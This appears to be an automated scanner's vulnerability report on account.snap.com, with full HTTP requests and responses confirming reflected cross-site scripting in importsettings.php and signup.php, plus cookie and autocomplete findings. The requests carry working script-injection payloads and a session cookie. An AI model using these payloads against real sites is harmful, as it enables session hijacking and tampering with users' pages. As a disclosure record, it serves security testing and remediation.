Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script type="text/javascript" language="javascript">// <! Tooltip Functions function xstooltip_findPosX(obj) { var curleft = 0; if (obj.offsetParent) { while (obj.offsetParent) { curleft += obj.offsetLeft obj = obj.offsetParent; } } else if (obj.x) curleft += obj.x; return curleft;}function xstooltip_findPosY(obj) { var curtop = 0; if (obj.offsetParent) { while (obj.offsetParent) { curtop += obj.offsetTop obj = obj.offsetParent; } } else if (obj.y) curtop += obj.y; return curtop;}function xstooltip_show(tooltipId, parentId, posX, posY){ it = document.getElementById(tooltipId); if ((it.style.top == '' || it.style.top == 0) && (it.style.left == '' || it.style.left == 0)) { // need to fixate default size (MSIE problem) it.style.width = it.offsetWidth + 'px'; it.style.height = it.offsetHeight + 'px'; img = document.getElementById(parentId); // if tooltip is too wide, shift left to be within parent if (posX + it.offsetWidth > img.offsetWidth) posX = img.offsetWidth - it.offsetWidth; if (posX < 0 ) posX = 0; x = xstooltip_findPosX(img) + posX; y = xstooltip_findPosY(img) + posY; it.style.top = y + 'px'; it.style.left = x + 'px'; } it.style.visibility = 'visible'; }function xstooltip_hide(id){ it = document.getElementById(id); it.style.visibility = 'hidden'; }// ]]></script><div id="top-cap"></div><div id="wrapper"><div id="tip1" class="tooltip"> Your Shots Key was created when you signed up for Snap Shots and can be <br /> found inside the Snap Shots JavaScript tag (view source) on any page where <br /> you currently have Snap Shots enabled. <br /><br /> Example of Snap Shots JavaScript tag: <br /> <script type="text/javascript" src="http://shots.snap.com/snap_shots.js?ap=1<br /> &key=<b>29b1ec081f2bf5401db979cf98f6b845</b>&th=silver..."></script></div> <div class="clear"></div><div id="leftSide"><h1>Import Your Old Snap Shots Settings</h1><form action="/importsettings.php" method="post"> <div id="column2"> <input type="hidden" name="email" value="'"--></style></script><script>netsparker(0x000491)</script>"> <input type="hidden" name="key" value="3"> <input type="hidden" name="retry" value="1"> <ul id="Failed"> <li> <h2 class="red0">Validation Failed: Bad Match</h2> </li> <li> We were unable to find a match between the Email and Site URL that you provided. </li> <li> <h5>Email</h5> '"--></style></script><script>netsparker(0x000491)</script> </li> <li> <h5>Site URL</h5> 3 </li> <li> Please make sure that both the Email and the Site URL are correct and feel free to try again. </li> <li> Or, if you would rather just keep going right now, you can choose to start fresh with a new account and a new Snap Shots installation. </li> <li> <div class="l"> <a href="/signup.php"><img src="/images/btn-createNew.gif" width="160" height="31" alt="Create New Account" title="Create New Account" /></a> </div> <div class="r"> <input type="image" class="image" src="/images/btn-tryAgain.gif" width="156" height="31" alt="Try Again" title="Try Again" /> </div> </li> <div class="clear"></div> </ul> </form> </div> <div id="column1"> </div></div><div class="clear"></div></div><div id="bottom-cap"></div><div id="footer">
<div id="logo">
<a href="http://snap.com/"><img src="/images/footer-logo.gif" alt="Snap" title="Snap" /></a>
</div>
<div id="footlinks">
<a href="http://snap.com/about/about.php">About</a> | <a href="http://blog.snap.com/">Blog</a> | <a href="http://snap.com/about/feedbk.php">Feedback</a> | <a href="http://snap.com/about/downloads.php">Download</a> | <a href="http://snap.com/about/privacy.php">Privacy</a> | <a href="http://snap.com/about/terms.php">Terms</a>
</div>
</div>
<script src="https://ssl.google-analytics.com/urchin.js" type="text/javascript"></script><script type="text/javascript">_udn = document.domain;_uacct = "UA-2209883-1";if (typeof currentTab == "string") { urchinTracker("/importsettings.php#" + currentTab);} else { urchinTracker();}</script></div></body></html>

- /importsettings.php

/importsettings.php CONFIRMED

https://account.snap.com/importsettings.php

Parameters

Parameter	Type	Value
email	POST	netsparker@example.com
key	POST	'"--></style></script><script>alert(0x000496)</script>
x	POST	0
y	POST	0

Request

POST /importsettings.php HTTP/1.1
Referer: https://account.snap.com/importsettings.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: account.snap.com
Cookie: PHPSESSID=4329620185993f511f5aa3410492abe9
Content-Length: 128
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

email=netsparker%40example.com&key='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000496)%3c%2fscript%3e&x=0&y=0

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 22:39:18 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Content-Length: 5323
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script type="text/javascript" language="javascript">// <! Tooltip Functions function xstooltip_findPosX(obj) { var curleft = 0; if (obj.offsetParent) { while (obj.offsetParent) { curleft += obj.offsetLeft obj = obj.offsetParent; } } else if (obj.x) curleft += obj.x; return curleft;}function xstooltip_findPosY(obj) { var curtop = 0; if (obj.offsetParent) { while (obj.offsetParent) { curtop += obj.offsetTop obj = obj.offsetParent; } } else if (obj.y) curtop += obj.y; return curtop;}function xstooltip_show(tooltipId, parentId, posX, posY){ it = document.getElementById(tooltipId); if ((it.style.top == '' || it.style.top == 0) && (it.style.left == '' || it.style.left == 0)) { // need to fixate default size (MSIE problem) it.style.width = it.offsetWidth + 'px'; it.style.height = it.offsetHeight + 'px'; img = document.getElementById(parentId); // if tooltip is too wide, shift left to be within parent if (posX + it.offsetWidth > img.offsetWidth) posX = img.offsetWidth - it.offsetWidth; if (posX < 0 ) posX = 0; x = xstooltip_findPosX(img) + posX; y = xstooltip_findPosY(img) + posY; it.style.top = y + 'px'; it.style.left = x + 'px'; } it.style.visibility = 'visible'; }function xstooltip_hide(id){ it = document.getElementById(id); it.style.visibility = 'hidden'; }// ]]></script><div id="top-cap"></div><div id="wrapper"><div id="tip1" class="tooltip"> Your Shots Key was created when you signed up for Snap Shots and can be <br /> found inside the Snap Shots JavaScript tag (view source) on any page where <br /> you currently have Snap Shots enabled. <br /><br /> Example of Snap Shots JavaScript tag: <br /> <script type="text/javascript" src="http://shots.snap.com/snap_shots.js?ap=1<br /> &key=<b>29b1ec081f2bf5401db979cf98f6b845</b>&th=silver..."></script></div> <div class="clear"></div><div id="leftSide"><h1>Import Your Old Snap Shots Settings</h1><form action="/importsettings.php" method="post"> <div id="column2"> <input type="hidden" name="email" value="netsparker@example.com"> <input type="hidden" name="key" value="'"--></style></script><script>netsparker(0x000496)</script>"> <input type="hidden" name="retry" value="1"> <ul id="Failed"> <li> <h2 class="red0">Validation Failed: Bad Match</h2> </li> <li> We were unable to find a match between the Email and Site URL that you provided. </li> <li> <h5>Email</h5> netsparker@example.com </li> <li> <h5>Site URL</h5> '"--></style></script><script>netsparker(0x000496)</script> </li> <li> Please make sure that both the Email and the Site URL are correct and feel free to try again. </li> <li> Or, if you would rather just keep going right now, you can choose to start fresh with a new account and a new Snap Shots installation. </li> <li> <div class="l"> <a href="/signup.php"><img src="/images/btn-createNew.gif" width="160" height="31" alt="Create New Account" title="Create New Account" /></a> </div> <div class="r"> <input type="image" class="image" src="/images/btn-tryAgain.gif" width="156" height="31" alt="Try Again" title="Try Again" /> </div> </li> <div class="clear"></div> </ul> </form> </div> <div id="column1"> </div></div><div class="clear"></div></div><div id="bottom-cap"></div><div id="footer">
<div id="logo">
<a href="http://snap.com/"><img src="/images/footer-logo.gif" alt="Snap" title="Snap" /></a>
</div>
<div id="footlinks">
<a href="http://snap.com/about/about.php">About</a> | <a href="http://blog.snap.com/">Blog</a> | <a href="http://snap.com/about/feedbk.php">Feedback</a> | <a href="http://snap.com/about/downloads.php">Download</a> | <a href="http://snap.com/about/privacy.php">Privacy</a> | <a href="http://snap.com/about/terms.php">Terms</a>
</div>
</div>
<script src="https://ssl.google-analytics.com/urchin.js" type="text/javascript"></script><script type="text/javascript">_udn = document.domain;_uacct = "UA-2209883-1";if (typeof currentTab == "string") { urchinTracker("/importsettings.php#" + currentTab);} else { urchinTracker();}</script></div></body></html>

Response

HTTP/1.0 302 Found
Date: Sat, 23 Jul 2011 21:07:51 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=0ecdf68911c776c6a84eb351224d5573; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /login.php
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Your Snap Shots Control Panel</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}function show_tab(tab) { var code = (tab == 'code') ? true : false; document.getElementById('editorial_text').style.display = code ? 'none' : ''; document.getElementById('code_text').style.display = code ? '' : 'none'; document.getElementById('editorial_tab').src = "/images/tab-editorial" + (code ? '' : '-on') + ".gif"; document.getElementById('code_tab').src = "/images/tab-code" + (code ? '-on' : '') + ".gif";}function resend_verification_email(email) { url = "/resend_verification_email.php?email="+escape(email); if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET",url,false); xmlhttp.send(null); } else if (window.ActiveXObject) { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); if (xmlhttp){ xmlhttp.open("GET",url,false); xmlhttp.send(); } } else { var t_img = new Image(); t_img.src = url; } e = document.getElementById("resend_email"); e.innerHTML="A new verification email has been sent to . Please verify receipt by clicking the confirmation link in that email."; e.className="alert"; return false;}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<div id="top-cap"></div><div id="wrapper"> <div id="leftSide"> <h1>Your Snap Control Panel</h1> <div id="statusInfo"> <h3>Welcome, </h3> </div> <div class="message"> <h4>Get the Most Out of Snap Shots</h4> <p> Before you can access Snap Shares™, you need to verify receipt of an email that has been sent to <b></b> by clicking the confirmation link in that email. </p> <p id="resend_email" class="info"> If you have not received that email you can request the email to be re-sent by clicking the following link: <a href="" onclick="return resend_verification_email('');">Re-send Verification Email</a> </p> <small>IMPORTANT: Please make sure to check your junk mail filter and update your settings to allow emails from the domain snap.com</small> </div> <div id="colCombine"> <h2>Manage Your Snap Shots Sites</h2> <div class="add-sites"> <img src="images/icon-add.gif" alt="+" border="0" width="9" height="9" /> <a href="/add_site.php">Add Snap Shots to another site</a> </div> <p><br /></p> <h2>Best Practices</h2> <p>The following are some simple steps that, in the experience of tens of thousands of site owners, have proved to work best when implementing Snap Shots on a web site or a blog.</p> <div> <img id="section_1_img" class="js-expand" src="/images/icon-more.gif" width="12" height="12" onclick="toggle_section(1);"> <b class="js-expand" onclick="toggle_section(1);">Explain the New Functionality</b><br /> <p class="inset"> When you install Snap Shots on your site, you should tell your readers about the new functionality. The announcement should include instruction for how your visitors can disable the functionality if they don't want it. <span id="section_1_more" style="display: inline"><a href="#" onclick="toggle_section(1);return false;">See Example</a></span> </p> <div id="section_1_div" style="display: none;"> <div class="example_text"> <div class="tabs"><img id="editorial_tab" src="/images/tab-editorial-on.gif" alt="Blog Text" onclick="show_tab('editorial');" /><img id="code_tab" src="/images/tab-code.gif" alt="Sample Code" onclick="show_tab('code');" /></div> <div class="example_body"> <div id="editorial_text" style="display:inherit;"> <h4>Introducing Snap Shots from Snap.com</h4> <p>I just installed a nice little tool on this site called Snap Shots that enhances links with visual previews of the <a href="http://www.snap.com" class="snap_noshots">destination site</a>, interactive excerpts of <a href="http://en.wikipedia.org/wiki/Picasso" class="snap_noshots">Wikipedia articles</a>, <a href="http://www.myspace.com/askaninja" class="snap_noshots">MySpace profiles</a>, <a href="http://imdb.com/name/nm0424060" class="snap_noshots">IMDb profiles</a> and <a href="http://www.amazon.com/Nokia-N95-Silver-Phone-Unlocked/dp/B000PEOLAG/" class="snap_noshots">Amazon products</a>, display inline <a href="http://youtube.com/watch?v=7rEM_dN24S0" class="snap_noshots">videos</a>, <a href="http://www.slashdot.org/" class="snap_noshots">RSS</a>, <a href="http://wiredset.com/media/colin_macintyre/How-Bout-I-Love-You-More.mp3" class="snap_noshots">MP3s</a>, <a href="http://i116.photobucket.com/albums/o34/perspexspaceship/" class="snap_noshots">photos</a>, <a href="http://finance.yahoo.com/q?s=aapl" class="snap_noshots">stock charts</a> and <a href="http://shots.snap.com" class="snap_noshots">more</a>.</p> <p>Sometimes Snap Shots bring you the information you need, without your having to leave the site, while other times it lets you "look ahead," before deciding if you want to follow a link or not.</p> <p>Should you decide this is not for you, just click the Options icon in the upper right corner of the Snap Shot and opt-out.</p> </div> <div id="code_text" style="display:none;"> <textarea style="width: 380px !important; height: 200px !important; font-size: 10px;"> <h4>Introducing Snap Shots from Snap.com</h4> I just installed a nice little tool on this site called Snap Shots that enhances links with visual previews of the <a href="http://www.snap.com" class="snap_shots">destination site</a>, interactive excerpts of <a href="http://en.wikipedia.org/wiki/Picasso" class="snap_shots">Wikipedia articles</a>, <a href="http://www.myspace.com/askaninja" class="Snap_Shot_Profile">MySpace profiles</a>, <a href="http://imdb.com/name/nm0424060" class="snap_shots">IMDb profiles</a> and <a href="http://www.amazon.com/Nokia-N95-Silver-Phone-Unlocked/dp/B000PEOLAG/" class="snap_shots">Amazon products</a>, display inline <a href="http://youtube.com/watch?v=7rEM_dN24S0" class="snap_shots">videos</a>, <a href="http://www.slashdot.org/" class="Snap_Shot_RSS">RSS</a>, <a href="http://wiredset.com/media/colin_macintyre/How-Bout-I-Love-You-More.mp3" class="snap_shots">MP3s</a>, <a href="http://i116.photobucket.com/albums/o34/perspexspaceship/" class="snap_shots">photos</a>, <a href="http://finance.yahoo.com/q?s=aapl" class="snap_shots">stock charts</a> and <a href="http://shots.snap.com" class="snap_shots">more</a>.<p>Sometimes Snap Shots bring you the information you need, without your having to leave the site, while other times it lets you "look ahead," before deciding if you want to follow a link or not.</p> <p>Should you decide this is not for you, just click the Options icon in the upper right corner of the Snap Shot and opt-out.</p> </textarea> </div> <hr /> <small>Please feel free to copy the text above, or write something along the same lines yourself.</small> </div> </div> </div> </div> <p></p> <div> <img id="section_2_img" class="js-expand" src="/images/icon-more.gif" width="12" height="12" onclick="toggle_section(2);"> <b class="js-expand" onclick="toggle_section(2);">Add a Snap Shots Badge</b><br /> <p class="inset"> By adding a Snap Shots Badge to your site, you let anyone visiting know that there is nothing ordinary about your site. <br /><a href="#" id="section_2_more" onclick="toggle_section(2);return false;">Show Snap Shots Badges</a> </p> <div id="section_2_div" style="display: none;"> <table id="badges"> <tr> <td class="col1"><img src="/images/shotsbadge1-120x30.gif" width="120" height="30" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /><br />(GIF 120x30)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge1-120x30.gif"><img src="http://i.snap.com/images/shotsbadge1-120x30.gif" width="120" height="30" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge2-120x30.gif" width="120" height="30" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /><br />(GIF 120x30)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge2-120x30.gif"><img src="http://i.snap.com/images/shotsbadge2-120x30.gif" width="120" height="30" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge3-120x30.gif" alt="Enhanced with Snapshots" width="120" height="30"><br />(GIF 120x30)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge3-120x30.gif"><img src="http://i.snap.com/images/shotsbadge3-120x30.gif" width="120" height="30" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge4-120x30.gif" alt="Enhanced with Snapshots" width="120" height="30"><br />(GIF 120x30)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge4-120x30.gif"><img src="http://i.snap.com/images/shotsbadge4-120x30.gif" width="120" height="30" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge1-160x40.gif" alt="Enhanced with Snapshots" width="160" height="40"><br />(GIF 160x40)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge1-160x40.gif"><img src="http://i.snap.com/images/shotsbadge1-160x40.gif" width="160" height="40" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge2-160x40.gif" alt="Enhanced with Snapshots" width="160" height="40"><br />(GIF 160x40)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge2-160x40.gif"><img src="http://i.snap.com/images/shotsbadge2-160x40.gif" width="160" height="40" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge3-160x40.gif" alt="Enhanced with Snapshots" width="160" height="40"><br />(GIF 160x40)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge3-160x40.gif"><img src="http://i.snap.com/images/shotsbadge3-160x40.gif" width="160" height="40" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> <tr> <td class="col1"><img src="/images/shotsbadge4-160x40.gif" alt="Enhanced with Snapshots [button]" width="160" height="40"><br />(GIF 160x40)</td> <td><textarea rows="4" name="badge-code"><a class="snap_shots" href="http://www.snap.com/snapshots.php?source=www.snap.com&campaign=shot_badge!!shotsbadge4-160x40.gif"><img src="http://i.snap.com/images/shotsbadge4-160x40.gif" width="160" height="40" alt="Enhanced with Snapshots" title="Enhanced with Snapshots" /></a></textarea></td> </tr> </table> </div> </div> </div> </div><div id="rightSide"><div class="sidebar"><h4>Recent Blog Posts</h4></div></div><div style="clear: both;"></div></div><div id="bottom-cap"></div><div id="footer">
<div id="logo">
<a href="http://snap.com/"><img src="/images/footer-logo.gif" alt="Snap" title="Snap" /></a>
</div>
<div id="footlinks">
<a href="http://snap.com/about/about.php">About</a> | <a href="http://blog.snap.com/">Blog</a> | <a href="http://snap.com/about/feedbk.php">Feedback</a> | <a href="http://snap.com/about/downloads.php">Download</a> | <a href="http://snap.com/about/privacy.php">Privacy</a> | <a href="http://snap.com/about/terms.php">Terms</a>
</div>
</div>
<script src="https://ssl.google-analytics.com/urchin.js" type="text/javascript"></script><script type="text/javascript">_udn = document.domain;_uacct = "UA-2209883-1";if (typeof currentTab == "string") { urchinTracker("/index.php#" + currentTab);} else { urchinTracker();}</script></div><script type="text/javascript" src="/javascript/jquery.js"></script><img id="feedback_button" src="images/feedback.gif" alt="feedback" text="feedback" /><div class="lightbox"> <div class="lightbox-bg"> </div> <div class="lightbox-fg"> <form id="feedback" name="feedback"> <h3>Snap LinkAds Feedback</h3> Please type your question, suggestion or comment into the box below and click "Submit".<br/> <span id="feedback_error">Please enter your feedback and try again.<br/></span> <textarea name="feedback_text"></textarea> <input type="submit" name="submit" value="Submit" /> <input type="button" name="cancel" value="Cancel" /> </form> </div></div><script type="text/javascript">function show_feedback() { $('textarea[name=feedback_text]').html(''); $('.lightbox').css('display', 'block'); $("#feedback_error").css('display', 'none');}function hide_feedback() { $('.lightbox').css('display', 'none');}function submit_feedback(ev) { var feedbac..

VULNERABILITIES Vulnerabilities
	IMPORTANT 35 % MEDIUM 15 % LOW 30 % INFORMATION 20 %

XSS, Cross Site Scripting in account.snap.com/login.php, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Total Requests

Average Speed

SCAN SETTINGS

VULNERABILITIES

VULNERABILITY SUMMARY

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

Parameters

Request

Response

/forgot_password.php CONFIRMED

Parameters

Request

Response

/importsettings.php CONFIRMED

Parameters

Request

Response

/importsettings.php CONFIRMED

Parameters

Request

Response

/importsettings.php CONFIRMED

Parameters

Request

Response

/importsettings.php CONFIRMED

Parameters

Request

Response

Cookie Not Marked As Secure

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

/login.php CONFIRMED

Identified Cookie

Request

Response

[Possible] Cross-site Scripting

Impact

Remedy

Remedy References

External References

Parameters

Notes

Request

Response

Parameters

Notes

Request

Response

Parameters

Notes

Request

Response

Auto Complete Enabled

Impact

Remedy

Actions to Take

Required Skills for Successful Exploitation

External References

/login.php CONFIRMED

Identified Field Name

Request

Response

Cookie Not Marked As HttpOnly

Impact

Actions to Take

Remedy

External References

/login.php CONFIRMED

Identified Cookie

Request